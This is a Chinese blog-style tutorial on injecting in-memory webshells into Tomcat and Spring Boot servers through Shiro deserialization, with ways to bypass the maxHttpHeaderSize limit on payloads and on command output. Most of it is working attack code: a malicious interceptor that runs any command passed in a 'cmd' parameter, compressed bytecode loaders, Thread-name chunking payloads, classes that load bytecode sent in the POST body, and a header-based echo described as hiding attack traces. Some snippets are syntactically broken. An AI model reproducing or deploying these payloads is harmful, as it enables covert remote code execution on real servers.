在利用反序列化注入内存马的实战中,通常遇到环境都是建立在以Tomcat为容器的环境中的。
而Tomcat具有一个maxHttpHeaderSize参数:限制请求包请求头加起来的字符数总和长度,包括GET /XXX?a=xxx。如果超过这个值就返回400。
在Tomcat的Server.xml
或在Spring的application.properties
、application.xml
中可以修改这个限制的值。如果不进行修改,默认为8KB(8192个ASCII字符)。
以对一个存在shiro反序列化漏洞的Spring站点注入内存马为例,用CB链注入一个最简单的Springboot Interceptor
内存马的序列化流经过Base64编码后大概为4000个字符。
但有时内存马的后门逻辑不仅仅只有一个简单的执行命令获取回显,可能像冰蝎、哥斯拉,内置还写了工具类,对shell密码的ASE加密;或者像是LINUX下的无文件Agent内存马,存放了机器码编译后的字节数组…诸如此类,有可能会在实战中导致序列化注入内存马的payload长度过长导致400报错。
这里也做一点对于内存马回显限制header长度的补充,比如能传入的是JSP内存马,但回显长度超出maxHttpHeaderSize
导致的回显失败。
注入内存马受限
总结几种常见的绕过长度限制的思路:
压缩class字节码字符
压缩算法是对一个内容利用密码学算法进行标记并删除“熵余”,最后还原方法对压缩结果根据标记将其原封不动地还原。
我们知道,Java对于一个类的加载,本质上就是需要获取类的字节码并进行操作,乃至初始化、实例化,类初始化的过程中触发static代码块,实例化的时候触发构造函数。结合压缩算法,我们能够想到这样一种减少payload字符数量的写法:
就以Spring-boot-2.7.0
下的Springboot Interceptor内存马
为例,简单回顾一下通过CB链打入的拦截器内存马流程:
普通的反序列化链就是通过获取恶意Interceptor存储到TemplateImpl中,反序列化时TemplateImpl就会加载这个恶意的Interceptor,触发其静态代码块;这个恶意Interceptor的静态代码块里就实现了将其自身实例化对象动态注册到运行服务的Spring实例。
执行的调用链:
TemplateImpl类加载触发恶意interceptor的静态代码块 ->
interceptor的静态代码块实现动态注册interceptor的对象到Spring中,完成内存马注入
能看得出来注册和实现内存马的逻辑都集中在这个Interceptor类的static静态代码块中,那我们可以将这个Interceptor的字节码利用算法进行压缩、base64编码,得到一串压缩后的字符串;再重新写一个类evil_class,其静态代码块中一个变量储存这串压缩、编码后的字符串,后续逻辑只用对其解码、解压缩得到原始的字节码,反射调用defineClass进行类加载;最后只需将evil_class的字节码传入CB链中的TemplateImpl。
整体执行的调用链:
TemplateImpl类加载触发evil_class的静态代码块 ->
evil_class对解压缩得到的interceptor字节码进行类加载,触发interceptor的静态代码块 ->
interceptor的静态代码块实现动态注册interceptor的对象到Spring中,完成内存马注入
值得一提的是,因为涉及到对字节码的读取,也就先需要对.java文件编译为.class文件;由于引用了第三方依赖,直接javac编译不方便(要指定jar包),而直接用第三方依赖管理如maven编译会产生大量调试信息等冗余字符增加payload的长度。所以需要先在pom.xml的build模块加入<arg>-g:none</arg>
使得maven不输出多余信息:
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
<compilerArgs>
<arg>-g:none</arg>
</compilerArgs>
</configuration>
</plugin>
</plugins>
</build>
Java标准库直接对字节码压缩的常见算法:GZIP / DEFLATE
经过测试两者压缩比例都差不多,对于一个简单的Intecptor压缩率能大概%60(3836压缩到1696字节)。
这里给出压缩字符到输出CB链的整个demo:
恶意interceptor:
public class evil_interceptor extends AbstractTranslet implements HandlerInterceptor{
static
{
try {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
evil_inceptor evil_Interceptor=new evil_inceptor();
adaptedInterceptors.add(evil_Interceptor);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
输出interceptor压缩字符串:
ClassPool pool = ClassPool.getDefault();
CtClass evil_interceptor = pool.get("evil_interceptor");
byte[] compressedBytes = evil_interceptor.toBytecode();
String compressedBase64 = Base64.getEncoder().encodeToString(compressedBytes);
System.out.println("最终发送的Base64字符串: " + compressedBase64);
evil_class:
public class evil_class{
static{
String b64 = "xxx";
byte[] compressedBytes = Base64.getDecoder().decode(b64);
ByteArrayInputStream byteStream = new ByteArrayInputStream(compressedBytes);
ByteArrayOutputStream outStream = new ByteArrayOutputStream();
try (GZIPInputStream gzipStream = new GZIPInputStream(byteStream)) {
byte[] buffer = new byte[1024];
int len;
while ((len = gzipStream.read(buffer)) != -1) {
outStream.write(buffer, 0, len);
}
} catch (IOException ex) {
throw new RuntimeException(ex);
}
} catch (Exception e) {
}
}
}
CB链:
//....
Field _name = tmplClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl, "evil_class"); //.....获取evil_class........................
//....
优点:
这个方法相当于一个技巧,可以和其它方法混搭、或者payload偏长的情况下有效缩短。
缺点:
这个方法仅对于更长的payload有显著效果,如果对简单的内存马反序列化payload使用反而适得其反:因为如果拦截器的字节码本来就短,压缩也减少不了太多,反而在evil_class中额外写入的解码解压缩,类加载逻辑的字节码长度(大概1300字节)都比压缩省下来的多。
这种缩减payload的思想通常是在如Spel注入这种表达式注入更易于利用,如2024-36401https://medium.com/@numencyberlabs/cve-2024-36401-memory-shell-exploit-for-jdk-11-22-1a40162494c9
多次发包将编码分块存入全局变量
个人觉得这是注入时用于绕过限制最好利用(发包时payload长度最小)的思路,这个方法首先在这篇博客中提到:
思想就是寻找一个能够储存多次发包的参数的全局对象,完整存入字节码的编码值后,再发一个包解码、类加载这个字节码。
这里找到的是Thread对象的name属性,也就是线程名。这样的能找到的属性有很多种,ThreadLocal、ServletContext().setAttribute()、单独开一个Thread缓存buffer、文末在已经注入内存马的前提下提到的final变量等等都能达到类似的效果。
这里就以文中的payload为例:
第一次执行先额外设置一个Thread进行存入:
Thread.currentThread().setName(“test”);
中间对字节码base64编码分块传输
try {
ThreadGroup a = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field v2 = a.getClass().getDeclaredField("threads");
v2.setAccessible(true);
Thread[] o = (Thread[]) v2.get(a);
for(int i = 0; i < o.length; ++i) {Thread z = o[i];if (z.getName().contains("test")){z.setName(z.getName()+"分段传输的字节码base64编码");
}}}catch (Exception e){}
最后获取这个Thread name,将其中的值进行处理并类加载:
try {ThreadGroup a = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field v2 = a.getClass().getDeclaredField("threads");
v2.setAccessible(true);
Thread[] o = (Thread[]) v2.get(a);for(int i = 0; i < o.length; ++i) (
Thread z = o[i];
if (z.getName().contains("test")){
byte[] x = org.apache.shiro.codec.Base64.decode(z.getName().replaceAll("test", ""));
java.lang.reflect.Method defineClassMethod=ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class, int.class);
defineClassMethod.setAccessible(true);
((Class)defineClassMethod.invoke(a.class.getClassLoader(), x, 0, x.length)).newInstance();
}}}catch (Exception e){}
从POST请求体中加载字节码
文首提到过,maxHttpHeaderSize是针对于请求头的长度,而POST请求体不属于请求头。所以我们可以在静态代码块中写从Request变量中获取POST参数的值,实际上就是恶意interceptor的字节码编码流(直接getParameter
),将其解码后获取字节码,反射调用defineClass进行类加载。
对于这种方法Tomcat和Springboot的实现略有不同,主要区别在于request对象的获取,详情可以看https://www.cnblogs.com/yyhuni/p/shiroMemshell.html#2%E5%AF%BB%E6%89%BErequest%E5%AF%B9%E8%B1%A1,这里贴出相应代码:
Tomcat环境下:
public class ClassDataLoader extends AbstractTranslet{
public ClassDataLoader() throws Exception {
Object o;
String s;
String classData = null;
boolean done = false;
Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < ts.length; i++) {
Thread t = ts[i];
if (t == null) {
continue;
}
s = t.getName();
if (!s.contains("exec") && s.contains("http")) {
o = getFV(t, "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
java.util.List ps = (java.util.List) getFV(o, "processors");
for (int j = 0; j < ps.size(); j++) {
Object p = ps.get(j);
o = getFV(p, "req");
Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});
byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
cc.newInstance();
done = true;
if (done) {
break;
}
}
}
}
}
public Object getFV(Object o, String s) throws Exception {
java.lang.reflect.Field f = null;
Class clazz = o.getClass();
while (clazz != Object.class) {
try {
f = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(s);
}
f.setAccessible(true);
return f.get(o);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Spring环境下:
public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
@Override
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}
然后在POST请求体处传入classData=恶意interceptor字节码base64编码
即可
修改maxHttpHeaderSize
将Tomcat运行内存里的配置修改,对应Bean为org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize
但是由于request的inputbuffer会复用,所以我们在修改完之后,需要先建立多个连接将复用的count消耗完(一般十次左右),让tomcat新建request的inputbuffer,这时候的buffer就会使用我们修改的值。
但是,这个方法执行的字节码其本身长度就很长,实际意义不大;并且由于太长,这里就不贴代码了。
内存马回显受限
这个主要利用场景是在上传jsp文件触发内存马的情况(注入内存马不受maxHttpHeaderSize限制)
在内存马回显的方式中(不出网),主要有两种:response.getWriter.write(result)
将回显内容写在Response body中,或者通过response.setHeader("result",result)
,将回显内容写在响应头里。
前者由于是在body中,不受maxHttpHeaderSize的限制,能使用这种方式回显当然是很舒服的。但是在一些情况下,不得不选择利用header传参:像是想要使用一些更不容易被查杀工具的非Servlet型的内存马,如Executor型,想要触发这类内存马就会涉及到访问不存在路径的路径、或者访问已经规范了返回格式的接口,导致的tomcat报错覆盖掉之前在body中写的回显;并且header回显的隐蔽性肯定比body的隐蔽型大一点,你可以设置一个和业务相关的cookie名,以此抹除攻击痕迹。
在这种情况下,就又回到了刚才的问题:response header依旧受maxHttpHeaderSize限制。
这时思路就与上文提到的第二种绕过方法类似,先将回显结果保存到一个生命周期长于单次 Request 的变量中,如前文的ThreadName,让后续的 Request 都能读取该存储,再每次响应按照 (maxHttpHeaderSize-其它header的长度)
分块返回结果。
由于这里已经能在内存中注入类了,那便有个更简单的方法:使用final类型修饰的变量储存回显结果:
final StringBuilder result = new StringBuilder();
public void doAction(ServletRequest req, ServletResponse res) {
.....
result.append(b64Output);
.....
}
并且还要注意到的一个点是执行命令和获取回显应该分情况处理,这里设计了请求头action如果为”getResult”进行读操作,自动获取maxHttpHeaderSize并计算单次响应能够返回回显的长度,设置result响应头以及remain字段告知剩余长度;如果为其它则执行命令,将执行结果或错误、异常结果存入result,如果成功执行返回”execute success”,失败则”execute fail”:
String action = tomcatReq.getHeader("action");
if ("getResult".equals(action)) {
...
tomcatReq.setAttribute("remainingBase64", nextRem);
tomcatRes.setHeader("result", part);
}else if(action != null){
...
}
并且为了便于移植到其它内存马,这里除了将所有逻辑封装到了一个方法中,还直接支持了将ServletRequest、ServletResponse接口作为入参,在方法中先进行强转为org.apache.catalina.connector.Request
、org.apache.catalina.connector.Response
,以便于所有tomcat内存马都能直接调用:
HttpServletRequest httpReq = (HttpServletRequest) req;
HttpServletResponse httpRes = (HttpServletResponse) res;
//获取内部Tomcat Request
Request tomcatReq;
try {
Field reqField = httpReq.getClass().getDeclaredField("request");
reqField.setAccessible(true);
tomcatReq = (Request) reqField.get(httpReq);
} catch (NoSuchFieldException ignored) {
Method getReqM = httpReq.getClass().getMethod("getRequest");
tomcatReq = (Request) getReqM.invoke(httpReq);
}
//获取内部Tomcat Response
Response tomcatRes;
try {
Field resField = httpRes.getClass().getDeclaredField("response");
resField.setAccessible(true);
tomcatRes = (Response) resField.get(httpRes);
} catch (NoSuchFieldException ignored) {
Method getResM = httpRes.getClass().getMethod("getResponse");
tomcatRes = (Response) getResM.invoke(httpRes);
}
......
Servlet内存马:
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
doAction(req,res);
}
Value内存马:
public void invoke(Request request, Response response) throws IOException, ServletException {
doAction(request,response);
}
这里拿Servlet内存马举个例,实验代码放在:
为了营造实战受限场景,这里直接在server.xml中设置maxHttpHeaderSize=”1000″
!]
构造内存马后执行ipconfig:
传参getResult获取到分块传输的字符串:
……
最后合并起来解码成功获取完整数据: